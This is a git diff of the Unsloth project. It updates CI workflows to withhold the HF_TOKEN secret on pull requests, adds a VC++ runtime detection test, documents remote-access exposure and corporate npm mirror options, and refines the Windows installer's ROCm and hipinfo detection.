Write-Host (" System32\vcruntime140_1.dll present: {0}" -f (Test-Path $dll))
|
||||
foreach ($k in $regKeys) {
|
||||
$r = Get-ItemProperty -Path "HKLM:\$($k.Substring(5))" -ErrorAction SilentlyContinue
|
||||
if ($r) { Write-Host (" {0}: Installed={1} {2}.{3}" -f $k, $r.Installed, $r.Major, $r.Minor) }
|
||||
else { Write-Host (" {0}: (absent)" -f $k) }
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host '== A. Detection on the stock runner (expect present) =='
|
||||
Show-GroundTruth
|
||||
if (-not (Test-VCRedistInstalled)) { throw 'Test-VCRedistInstalled reported ABSENT on a stock runner that ships the VC++ runtime (detection regression).' }
|
||||
Write-Host ' Test-VCRedistInstalled -> present OK'
|
||||
|
||||
Write-Host '== B. Genuinely clean box (restorable): detection must FIRE =='
|
||||
$scratch = Join-Path $env:RUNNER_TEMP 'cleanwin'
|
||||
New-Item -ItemType Directory -Force -Path (Join-Path $scratch 'System32') | Out-Null
|
||||
$backup = Join-Path $env:RUNNER_TEMP 'vcreg_backup'
|
||||
New-Item -ItemType Directory -Force -Path $backup | Out-Null
|
||||
$origSysRoot = $env:SystemRoot
|
||||
try {
|
||||
for ($i = 0; $i -lt $regKeys.Count; $i++) {
|
||||
reg query $regKeys[$i] *> $null
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
reg export $regKeys[$i] (Join-Path $backup "$i.reg") /y *> $null
|
||||
reg delete $regKeys[$i] /f *> $null
|
||||
}
|
||||
}
|
||||
$env:SystemRoot = $scratch
|
||||
if (Test-VCRedistInstalled) { throw 'Detection still PRESENT after both signals were removed (it would never trigger an install on a clean box).' }
|
||||
Write-Host ' Test-VCRedistInstalled -> absent OK (detection fires on a clean box)'
|
||||
} finally {
|
||||
$env:SystemRoot = $origSysRoot
|
||||
for ($i = 0; $i -lt $regKeys.Count; $i++) {
|
||||
$f = Join-Path $backup "$i.reg"
|
||||
if (Test-Path $f) { reg import $f *> $null }
|
||||
}
|
||||
}
|
||||
Show-GroundTruth
|
||||
if (-not (Test-VCRedistInstalled)) { throw 'Detection did not recover after restoring the registry (test restore bug).' }
|
||||
|
||||
Write-Host '== C. Literal uninstall on this throwaway VM (official installer), observe detection =='
|
||||
$exe = Join-Path $env:RUNNER_TEMP 'vc_redist.x64.exe'
|
||||
Invoke-WebRequest -Uri 'https://aka.ms/vs/17/release/vc_redist.x64.exe' -OutFile $exe
|
||||
Start-Process -FilePath $exe -ArgumentList '/uninstall', '/quiet', '/norestart' -Wait
|
||||
Show-GroundTruth
|
||||
Write-Host (" Test-VCRedistInstalled after uninstall -> {0}" -f (Test-VCRedistInstalled))
|
||||
if (Test-VCRedistInstalled) {
|
||||
Write-Host ' Note: the Visual Studio on this image ref-counts the runtime, so the package'
|
||||
Write-Host ' uninstall is a no-op here; section B already proved detection on a clean box.'
|
||||
}
|
||||
|
||||
Write-Host '== D. Restore via Ensure-VCRedist (winget product path), installer fallback if needed =='
|
||||
Ensure-VCRedist
|
||||
if (-not (Test-VCRedistInstalled)) {
|
||||
Write-Host ' winget path did not restore it; using the official installer to close the round trip.'
|
||||
Start-Process -FilePath $exe -ArgumentList '/install', '/quiet', '/norestart' -Wait
|
||||
}
|
||||
Show-GroundTruth
|
||||
if (-not (Test-VCRedistInstalled)) { throw 'VC++ runtime could not be restored after the uninstall round-trip.' }
|
||||
Write-Host ' Test-VCRedistInstalled -> present OK'
|
||||
Write-Host 'PASS: detection is correct on a real install, fires on a clean box, and the install round-trip restores the runtime.'
|
||||
|
|
|
|||
|
|
@ -91,7 +91,8 @@ jobs:
|
|||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -155,7 +156,8 @@ jobs:
|
|||
shell: pwsh
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
New-Item -ItemType Directory -Force -Path logs | Out-Null
|
||||
# *>&1 redirects ALL PowerShell streams (stdout, stderr,
|
||||
|
|
|
|||
|
|
@ -6,9 +6,9 @@
|
|||
# windows-latest runner:
|
||||
#
|
||||
# 1. install.ps1 --local --no-torch installs Studio AND auto-fetches
|
||||
# the prebuilt llama.cpp Windows binary (llama-bNNNN-bin-win-cpu-
|
||||
# x64 from ggml-org/llama.cpp). Hitting the source-build fallback
|
||||
# is treated as an Unsloth bug -- Studio must always pick the
|
||||
# the prebuilt llama.cpp Windows binary (app-<tag>-windows-x64-cpu
|
||||
# from unslothai/llama.cpp). Hitting the source-build fallback is
|
||||
# treated as an Unsloth bug -- Studio must always pick the
|
||||
# prebuilt on Windows.
|
||||
# 2. unsloth studio update --local is idempotent. Two consecutive
|
||||
# runs both report "prebuilt up to date and validated", no
|
||||
|
|
@ -133,7 +133,8 @@ jobs:
|
|||
shell: pwsh
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
New-Item -ItemType Directory -Force -Path logs | Out-Null
|
||||
# *>&1 captures Write-Host (Information stream) output;
|
||||
|
|
@ -180,7 +181,8 @@ jobs:
|
|||
- name: First update should be a no-op (prebuilt already validated)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
set -o pipefail
|
||||
unsloth studio update --local 2>&1 | tee logs/update.log
|
||||
|
|
@ -199,7 +201,8 @@ jobs:
|
|||
- name: Second update must also be a no-op
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
set -o pipefail
|
||||
unsloth studio update --local 2>&1 | tee logs/update2.log
|
||||
|
|
|
|||
88
.github/workflows/version-compat-ci.yml
vendored
88
.github/workflows/version-compat-ci.yml
vendored
|
|
@ -242,7 +242,7 @@ jobs:
|
|||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
# CPU torch (vllm/peft/st all depend on it).
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu \
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
|
||||
'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10'
|
||||
# torchcodec is a hard requirement on transformers 5.x:
|
||||
# transformers/audio_utils.py:55 does
|
||||
|
|
@ -285,6 +285,92 @@ jobs:
|
|||
tests/vllm_compat/test_extended_module_imports.py \
|
||||
-v --tb=short
|
||||
|
||||
# Fake-CUDA GRPO/SFT/DPO patch run against REAL TRL (latest + main). Unlike
|
||||
# the static symbol/source greps above, this drives unsloth's actual
|
||||
# source-transform patchers (models/rl.py + rl_replacements.py) on a CPU-only
|
||||
# runner under the tests/conftest.py spoof harness -- no GPU, no training.
|
||||
# Catches structural TRL drift the greps miss (e.g. TRL 1.7.0's 2->3-tuple
|
||||
# per-token-logps return, restructured PEFT ref-adapter block) by asserting
|
||||
# the generated Unsloth trainer still satisfies the transform contracts.
|
||||
grpo-fake-run:
|
||||
name: GRPO fake-run (latest + main TRL, CPU spoof)
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 18
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
path: unsloth
|
||||
- name: Clone unsloth-zoo @ main
|
||||
run: |
|
||||
for attempt in 1 2 3; do
|
||||
rm -rf "$RUNNER_TEMP/unsloth-zoo"
|
||||
if git clone --depth=1 https://github.com/unslothai/unsloth-zoo \
|
||||
"$RUNNER_TEMP/unsloth-zoo"; then
|
||||
break
|
||||
fi
|
||||
if [ "$attempt" -eq 3 ]; then
|
||||
echo "::error::git clone unsloth-zoo failed after 3 attempts"
|
||||
exit 1
|
||||
fi
|
||||
delay=$((5 * attempt))
|
||||
echo "::warning::clone failed (attempt $attempt/3), retrying in ${delay}s..."
|
||||
sleep "$delay"
|
||||
done
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
|
||||
with:
|
||||
python-version: '3.12'
|
||||
cache: 'pip'
|
||||
- name: Install CPU torch + ecosystem + TRL latest
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
|
||||
'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10'
|
||||
# Ecosystem floors unsloth needs; TRL itself is installed last so it
|
||||
# can pull the transformers/peft it requires.
|
||||
pip install \
|
||||
'transformers>=4.57' 'peft>=0.18.0' 'accelerate>=1.0' 'datasets>=3.4,<5' \
|
||||
'bitsandbytes>=0.45.5' sentencepiece protobuf safetensors numpy 'pytest>=8' \
|
||||
'huggingface_hub>=0.34' tqdm packaging psutil triton Pillow
|
||||
pip install --upgrade trl
|
||||
pip install --no-deps -e "$RUNNER_TEMP/unsloth-zoo"
|
||||
pip install --no-deps -e ./unsloth
|
||||
- name: Fake-run vs TRL latest
|
||||
env:
|
||||
UNSLOTH_IS_PRESENT: '1'
|
||||
UNSLOTH_COMPILE_DISABLE: '1'
|
||||
# Disable dynamo/inductor at the process level, before conftest.py's early
|
||||
# `import unsloth`, so the GRPO hot path never compiles on the GPU-less runner
|
||||
# (defense in depth; the CPU fake-train also flips this at runtime).
|
||||
TORCHDYNAMO_DISABLE: '1'
|
||||
TORCH_COMPILE_DISABLE: '1'
|
||||
PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
|
||||
run: |
|
||||
cd unsloth
|
||||
python -c "import trl; print('Resolved TRL', trl.__version__)"
|
||||
PYTHONPATH=. python -m pytest \
|
||||
tests/version_compat/test_trl_grpo_fake_run.py \
|
||||
tests/version_compat/test_trl_fake_train_cpu.py \
|
||||
-v --tb=short
|
||||
# `main` is scheduled/dispatch-only so PR jobs stay fast and a bleeding-edge
|
||||
# TRL break does not red every PR. github.event_name is valid in a step if.
|
||||
- name: Fake-run vs TRL main (scheduled / dispatch only)
|
||||
if: ${{ github.event_name != 'pull_request' }}
|
||||
env:
|
||||
UNSLOTH_IS_PRESENT: '1'
|
||||
UNSLOTH_COMPILE_DISABLE: '1'
|
||||
TORCHDYNAMO_DISABLE: '1'
|
||||
TORCH_COMPILE_DISABLE: '1'
|
||||
PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
|
||||
run: |
|
||||
pip install --upgrade "git+https://github.com/huggingface/trl"
|
||||
cd unsloth
|
||||
python -c "import trl; print('Resolved TRL', trl.__version__)"
|
||||
PYTHONPATH=. python -m pytest \
|
||||
tests/version_compat/test_trl_grpo_fake_run.py \
|
||||
tests/version_compat/test_trl_fake_train_cpu.py \
|
||||
-v --tb=short
|
||||
|
||||
# Daily-only: same suites but with --strict on importable upstream
|
||||
# tags. Schedule-only so PR jobs stay fast; cron tolerates a flake.
|
||||
daily-fresh-fetch:
|
||||
|
|
|
|||
2
.gitignore
vendored
2
.gitignore
vendored
|
|
@ -11,6 +11,8 @@ outputs/
|
|||
exports/
|
||||
/datasets/
|
||||
studio/backend/assets/datasets/
|
||||
# Generated async worker / reviewer transcripts (never part of the product).
|
||||
studio/backend/async_task_outputs/
|
||||
unsloth_training_checkpoints/
|
||||
*.gguf
|
||||
*.safetensors
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
repos:
|
||||
- repo: https://github.com/astral-sh/ruff-pre-commit
|
||||
rev: v0.15.17
|
||||
rev: v0.15.18
|
||||
hooks:
|
||||
- id: ruff
|
||||
args:
|
||||
|
|
|
|||
18
README.md
18
README.md
|
|
@ -86,7 +86,7 @@ unsloth studio -p 8888
|
|||
```
|
||||
For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally.
|
||||
|
||||
For a secure HTTPS link instead of a raw network port, use `unsloth studio --secure`. Studio stays bound to localhost and is served only through a free Cloudflare HTTPS tunnel (it fails closed if the tunnel can't start, so the raw port is never exposed).
|
||||
To reach Studio over HTTPS, use `unsloth studio --secure`. Studio stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Studio reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
|
||||
|
||||
#### Docker
|
||||
Use our [Docker image](https://hub.docker.com/r/unsloth/unsloth) ```unsloth/unsloth``` container. Run:
|
||||
|
|
@ -212,7 +212,7 @@ By default `unsloth studio` binds to `127.0.0.1` (this machine only). To reach i
|
|||
```bash
|
||||
unsloth studio --secure -p 8888
|
||||
```
|
||||
- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. Only use this on a trusted network.
|
||||
- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. This also starts a public Cloudflare quick tunnel by default, which publishes an internet-reachable `https://*.trycloudflare.com` URL even behind a firewall. Both the raw port and the tunnel expose Studio beyond this machine, so only use this on a network you trust; pass `--no-cloudflare` to drop the public link while keeping the network bind.
|
||||
```bash
|
||||
unsloth studio -H 0.0.0.0 -p 8888
|
||||
```
|
||||
|
|
@ -246,6 +246,20 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh
|
|||
$env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex
|
||||
```
|
||||
|
||||
On macOS, the installer defaults to the system certificate store (`UV_SYSTEM_CERTS=1`) so uv trusts the CAs in your Keychain, needed behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.). Opt out with:
|
||||
```bash
|
||||
curl -fsSL https://unsloth.ai/install.sh | UV_SYSTEM_CERTS=0 sh
|
||||
```
|
||||
|
||||
Point the frontend build at a corporate npm mirror/proxy with `UNSLOTH_NPM_REGISTRY` (for the developer install behind a firewall that blocks `registry.npmjs.org`):
|
||||
```bash
|
||||
UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh --local
|
||||
```
|
||||
```powershell
|
||||
$env:UNSLOTH_NPM_REGISTRY='https://artifactory.example.com/api/npm/npm/'; .\install.ps1 --local
|
||||
```
|
||||
It is threaded as `--registry` into the Studio frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force.
|
||||
|
||||
Cap Studio's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`.
|
||||
|
||||
#### Uninstall
|
||||
|
|
|
|||
17
build.sh
17
build.sh
|
|
@ -1,4 +1,6 @@
|
|||
#!/usr/bin/env bash
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
|
|
@ -33,10 +35,19 @@ _restore_gitignores() {
|
|||
}
|
||||
trap _restore_gitignores EXIT
|
||||
|
||||
# Corporate-mirror / proxy escape hatch (#6491). When UNSLOTH_NPM_REGISTRY is set we
|
||||
# thread it as `--registry <url>` into the installs (overrides frontend/.npmrc's pinned
|
||||
# registry for both bun and npm; min-release-age / save-exact stay in force). Empty
|
||||
# array (the default) expands to nothing under `set -u`.
|
||||
_NPM_REGISTRY_ARGS=()
|
||||
if [ -n "${UNSLOTH_NPM_REGISTRY:-}" ]; then
|
||||
_NPM_REGISTRY_ARGS=(--registry "$UNSLOTH_NPM_REGISTRY")
|
||||
fi
|
||||
|
||||
# Use bun for install if available (faster), fall back to npm.
|
||||
_install_ok=false
|
||||
if command -v bun &>/dev/null; then
|
||||
if bun install; then
|
||||
if bun install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then
|
||||
_install_ok=true
|
||||
else
|
||||
echo "⚠ bun install failed, falling back to npm"
|
||||
|
|
@ -44,8 +55,10 @@ if command -v bun &>/dev/null; then
|
|||
fi
|
||||
fi
|
||||
if [ "$_install_ok" != "true" ]; then
|
||||
if ! npm install; then
|
||||
if ! npm install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then
|
||||
echo "❌ ERROR: package install failed" >&2
|
||||
echo " If you are behind a corporate firewall/proxy, set UNSLOTH_NPM_REGISTRY to your mirror and retry, e.g.:" >&2
|
||||
echo " UNSLOTH_NPM_REGISTRY=https://your-mirror.example/api/npm/ ./build.sh" >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
|
|
|||
194
install.ps1
194
install.ps1
|
|
@ -111,6 +111,7 @@ function Install-UnslothStudio {
|
|||
$TauriMode = $false
|
||||
$SkipTorch = $false
|
||||
$ShortcutsOnly = $false
|
||||
$WithLlamaCppDir = ""
|
||||
$argList = $args
|
||||
for ($i = 0; $i -lt $argList.Count; $i++) {
|
||||
switch ($argList[$i]) {
|
||||
|
|
@ -128,6 +129,14 @@ function Install-UnslothStudio {
|
|||
}
|
||||
$PackageName = $argList[$i]
|
||||
}
|
||||
"--with-llama-cpp-dir" {
|
||||
$i++
|
||||
if ($i -ge $argList.Count) {
|
||||
Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red
|
||||
return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.")
|
||||
}
|
||||
$WithLlamaCppDir = $argList[$i]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -472,6 +481,17 @@ function Install-UnslothStudio {
|
|||
param(
|
||||
[Parameter(Mandatory = $true)][ScriptBlock]$Command
|
||||
)
|
||||
# Installer-pinned index installs (torch) must beat an inherited uv mirror
|
||||
# (#6898): when the command pins an index, clear every uv index env var so
|
||||
# it wins, then restore in finally. Other installs keep the user's mirror.
|
||||
$savedUvIndex = $null
|
||||
if ($Command.ToString() -match '--default-index') {
|
||||
$savedUvIndex = @{}
|
||||
foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL') {
|
||||
$savedUvIndex[$n] = [Environment]::GetEnvironmentVariable($n)
|
||||
Remove-Item "Env:$n" -ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
$prevEap = $ErrorActionPreference
|
||||
$ErrorActionPreference = "Continue"
|
||||
try {
|
||||
|
|
@ -491,6 +511,7 @@ function Install-UnslothStudio {
|
|||
return [int]$LASTEXITCODE
|
||||
} finally {
|
||||
$ErrorActionPreference = $prevEap
|
||||
if ($savedUvIndex) { foreach ($n in $savedUvIndex.Keys) { if ($null -ne $savedUvIndex[$n]) { Set-Item "Env:$n" $savedUvIndex[$n] } } }
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -1635,22 +1656,78 @@ exit 0
|
|||
if (-not $HasNvidiaSmi) {
|
||||
# hipinfo: PATH first, then HIP_PATH/ROCM_PATH bin fallback (mirrors NVIDIA smi path resolution).
|
||||
# AMD HIP SDK sets HIP_PATH but may not add the bin dir to PATH depending on install type.
|
||||
$hipinfoExe = Get-Command hipinfo -ErrorAction SilentlyContinue
|
||||
if (-not $hipinfoExe) {
|
||||
$hipRoot = if ($env:HIP_PATH) { $env:HIP_PATH } elseif ($env:ROCM_PATH) { $env:ROCM_PATH } else { $null }
|
||||
$hipEnvLabel = if ($env:HIP_PATH) { "HIP_PATH" } else { "ROCM_PATH" }
|
||||
if ($hipRoot) {
|
||||
$hipinfoCandidate = Join-Path $hipRoot "bin\hipinfo.exe"
|
||||
if (Test-Path $hipinfoCandidate) {
|
||||
Write-Host " [WARN] hipinfo not on PATH -- located via ${hipEnvLabel}: $hipinfoCandidate" -ForegroundColor Yellow
|
||||
Write-Host " Add '$(Join-Path $hipRoot 'bin')' to your PATH to suppress this warning" -ForegroundColor Yellow
|
||||
Write-Host " Quick fix: [Environment]::SetEnvironmentVariable('PATH',`$env:PATH+';$(Join-Path $hipRoot 'bin')','User')" -ForegroundColor Yellow
|
||||
$hipinfoExe = [PSCustomObject]@{ Source = $hipinfoCandidate }
|
||||
} else {
|
||||
Write-Host " [WARN] ${hipEnvLabel}=$hipRoot is set but hipinfo.exe not found at $hipinfoCandidate" -ForegroundColor Yellow
|
||||
Write-Host " HIP SDK install may be incomplete -- re-install from:" -ForegroundColor Yellow
|
||||
Write-Host " https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" -ForegroundColor Yellow
|
||||
# Ignore the venv hipInfo.exe (AMD wheel, on PATH): not a HIP SDK, so
|
||||
# amd-smi would still auto-elevate. Cf. _path_inside_venv().
|
||||
function Test-HipinfoIsVenvInternal {
|
||||
param([AllowNull()][string]$HipinfoPath)
|
||||
if ([string]::IsNullOrWhiteSpace($HipinfoPath)) { return $false }
|
||||
# Also derive the venv from the setup python + default Studio home, so
|
||||
# the venv hipInfo is caught when VenvDir/VIRTUAL_ENV are unset.
|
||||
$venvRoots = @()
|
||||
if ($env:VIRTUAL_ENV) { $venvRoots += $env:VIRTUAL_ENV }
|
||||
$vd = Get-Variable -Name VenvDir -ValueOnly -ErrorAction SilentlyContinue
|
||||
if ($vd) { $venvRoots += $vd }
|
||||
if ($env:UNSLOTH_SETUP_PYTHON) {
|
||||
try { $venvRoots += (Split-Path -Parent (Split-Path -Parent $env:UNSLOTH_SETUP_PYTHON)) } catch {}
|
||||
}
|
||||
if ($env:USERPROFILE) { $venvRoots += (Join-Path $env:USERPROFILE ".unsloth\studio\unsloth_studio") }
|
||||
# A custom Studio home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the
|
||||
# venv off the default path; seed it too or its hipInfo escapes the filter.
|
||||
$studioHomeEnv = if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { $env:UNSLOTH_STUDIO_HOME.Trim() } elseif (-not [string]::IsNullOrWhiteSpace($env:STUDIO_HOME)) { $env:STUDIO_HOME.Trim() } else { $null }
|
||||
if ($studioHomeEnv) {
|
||||
# Expand a leading ~ like the canonical resolver; else GetFullPath
|
||||
# keeps the literal ~ (cwd-relative) and the hipInfo escapes the filter.
|
||||
if (($studioHomeEnv -eq "~" -or $studioHomeEnv -like "~/*" -or $studioHomeEnv -like "~\*") -and -not [string]::IsNullOrWhiteSpace($env:USERPROFILE)) {
|
||||
# A bare "~" leaves an empty child path; Join-Path rejects that on
|
||||
# PS 5.1, so use USERPROFILE directly and only join a real remainder.
|
||||
$studioHomeRest = $studioHomeEnv.Substring(1).TrimStart('/', '\')
|
||||
$studioHomeEnv = if ($studioHomeRest) { Join-Path $env:USERPROFILE $studioHomeRest } else { $env:USERPROFILE }
|
||||
}
|
||||
$venvRoots += (Join-Path $studioHomeEnv "unsloth_studio")
|
||||
}
|
||||
try { $hip = [System.IO.Path]::GetFullPath($HipinfoPath).TrimEnd('\', '/') } catch { return $false }
|
||||
foreach ($root in $venvRoots) {
|
||||
if ([string]::IsNullOrWhiteSpace($root)) { continue }
|
||||
try { $r = [System.IO.Path]::GetFullPath($root).TrimEnd('\', '/') } catch { continue }
|
||||
# Skip a bare drive root (e.g. a non-venv UNSLOTH_SETUP_PYTHON like
|
||||
# C:\Python311\python.exe yields C:) -- it would match every path on that drive.
|
||||
if ($r -match '^[a-zA-Z]:$') { continue }
|
||||
if ($hip.Equals($r, [System.StringComparison]::OrdinalIgnoreCase) -or
|
||||
$hip.StartsWith($r + [System.IO.Path]::DirectorySeparatorChar, [System.StringComparison]::OrdinalIgnoreCase)) {
|
||||
return $true
|
||||
}
|
||||
}
|
||||
return $false
|
||||
}
|
||||
# Scan all hipinfo and keep the first non-venv one (the venv copy from the
|
||||
# bnb fix could shadow a real HIP SDK's). -CommandType Application matches
|
||||
# only real executables, not a user alias/function named hipinfo.
|
||||
$hipinfoExe = Get-Command hipinfo -CommandType Application -All -ErrorAction SilentlyContinue |
|
||||
Where-Object { -not (Test-HipinfoIsVenvInternal $_.Source) } |
|
||||
Select-Object -First 1
|
||||
if (-not $hipinfoExe) {
|
||||
# Iterate the env roots (mirrors the Python list) and take the first non-venv
|
||||
# bin\hipinfo.exe, so a venv-internal HIP_PATH can't mask a real SDK in ROCM_PATH.
|
||||
$hipMissingLabel = $null; $hipMissingRoot = $null; $hipMissingCandidate = $null
|
||||
foreach ($hipEnvLabel in @("HIP_PATH", "HIP_PATH_57", "ROCM_PATH")) {
|
||||
$hipRoot = [Environment]::GetEnvironmentVariable($hipEnvLabel)
|
||||
if ([string]::IsNullOrWhiteSpace($hipRoot)) { continue }
|
||||
$hipinfoCandidate = Join-Path $hipRoot "bin\hipinfo.exe"
|
||||
if (-not (Test-Path $hipinfoCandidate)) {
|
||||
if (-not $hipMissingLabel) { $hipMissingLabel = $hipEnvLabel; $hipMissingRoot = $hipRoot; $hipMissingCandidate = $hipinfoCandidate }
|
||||
continue
|
||||
}
|
||||
if (Test-HipinfoIsVenvInternal $hipinfoCandidate) { continue } # venv copy (AMD wheel): not a HIP SDK
|
||||
Write-Host " [WARN] hipinfo not on PATH -- located via ${hipEnvLabel}: $hipinfoCandidate" -ForegroundColor Yellow
|
||||
Write-Host " Add '$(Join-Path $hipRoot 'bin')' to your PATH to suppress this warning" -ForegroundColor Yellow
|
||||
Write-Host " Quick fix: [Environment]::SetEnvironmentVariable('PATH',`$env:PATH+';$(Join-Path $hipRoot 'bin')','User')" -ForegroundColor Yellow
|
||||
$hipinfoExe = [PSCustomObject]@{ Source = $hipinfoCandidate }
|
||||
break
|
||||
}
|
||||
if ((-not $hipinfoExe) -and $hipMissingLabel) {
|
||||
Write-Host " [WARN] ${hipMissingLabel}=$hipMissingRoot is set but hipinfo.exe not found at $hipMissingCandidate" -ForegroundColor Yellow
|
||||
Write-Host " HIP SDK install may be incomplete -- re-install from:" -ForegroundColor Yellow
|
||||
Write-Host " https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
if ($hipinfoExe) {
|
||||
|
|
@ -1736,11 +1813,10 @@ exit 0
|
|||
} catch {}
|
||||
}
|
||||
# ── Arch resolution: env-var override → name inference ──────────────
|
||||
# Runs even when the hipinfo/amd-smi probe could NOT confirm a runtime
|
||||
# ($HasROCm false): the gfx arch inferred from the WMI GPU name lets the
|
||||
# studio setup forward --rocm-gfx and pull a GPU-accelerated ROCm
|
||||
# llama.cpp, which bundles its own ROCm runtime. PyTorch's ROCm wheels
|
||||
# still require a confirmed HIP SDK -- they stay gated on $HasROCm below.
|
||||
# Runs even when the probe can't confirm a runtime ($HasROCm false): the
|
||||
# WMI-name gfx arch drives both ROCm llama.cpp and torch. repo.amd.com
|
||||
# wheels bundle their own runtime (no HIP SDK), so a mapped arch installs
|
||||
# ROCm torch directly below -- no wasted CPU base.
|
||||
if (-not $ROCmGfxArch) {
|
||||
# 1. Manual override: set UNSLOTH_ROCM_GFX_ARCH=gfx1151 before running.
|
||||
if ($env:UNSLOTH_ROCM_GFX_ARCH) {
|
||||
|
|
@ -2371,7 +2447,7 @@ exit 0
|
|||
# Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped / mirror installs.
|
||||
$ROCmIndexUrl = $null
|
||||
$ROCmTorchFloor = $null
|
||||
if ($HasROCm -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) {
|
||||
if (($HasROCm -or $ROCmGfxArch) -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) {
|
||||
$amdIndexBase = if ($env:UNSLOTH_ROCM_WINDOWS_MIRROR) { $env:UNSLOTH_ROCM_WINDOWS_MIRROR.TrimEnd('/') } else { "https://repo.amd.com/rocm/whl" }
|
||||
$archFamilyMap = @{
|
||||
"gfx1201" = "gfx120X-all"; "gfx1200" = "gfx120X-all" # RDNA 4
|
||||
|
|
@ -2394,6 +2470,17 @@ exit 0
|
|||
"gfx1201" = "torch>=2.11.0,<2.12.0"; "gfx1200" = "torch>=2.11.0,<2.12.0"
|
||||
"gfx1151" = "torch>=2.11.0,<2.12.0"; "gfx1150" = "torch>=2.11.0,<2.12.0"
|
||||
}
|
||||
# Companion ranges track the torch ceiling so pip resolves a consistent
|
||||
# trio on AMD's per-arch index (each published independently). Mirrors
|
||||
# setup.ps1 / install_python_stack.py; bump all three together for 2.12.x.
|
||||
$torchvisionFloorMap = @{
|
||||
"gfx1201" = "torchvision>=0.26.0,<0.27.0"; "gfx1200" = "torchvision>=0.26.0,<0.27.0"
|
||||
